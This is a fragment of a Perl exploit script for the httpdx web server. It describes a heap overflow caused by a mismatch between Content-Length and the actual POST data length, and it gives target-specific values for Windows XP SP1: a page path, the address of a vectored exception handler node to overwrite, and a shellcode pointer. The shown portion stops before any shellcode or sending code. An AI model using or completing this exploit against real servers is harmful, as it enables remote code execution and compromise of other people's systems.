During a POST request, httpdx allocates memory with malloc(size+1), # where 'size' is actually the value of "Content-Length" HTTP header. All post-data will then be copied into this area using strncpy(x,y,size2), where 'size2' = "request length" - "header length" (and not Content-Length)
As httpdx use it own handler function upon crash, this exploit overwrite the first _VECTORED_EXCEPTION_NODE structure with a pointer to our shellcode. The exploit works very often, but not always. In both case, httpdx crash after the exploit.
# The [perl|php|py|..] page to call during the POST request.
# The page must exists and the extension must be defined in the directive
# "http.handlers = {...}" in httpdx.conf
my $page = "/test.pl";
# Windows XP - SP1 - English
# ---------------------------
# ptr to the first _VECTORED_EXCEPTION_NODE structure = 0x77fc3210 - 4
my $veh_node_addr = 0x77fc320c ;
# pointer to out shellcode => 0x00227664 - 8 = 0x0022765c
my $sc_ptr = 0x0022765c;
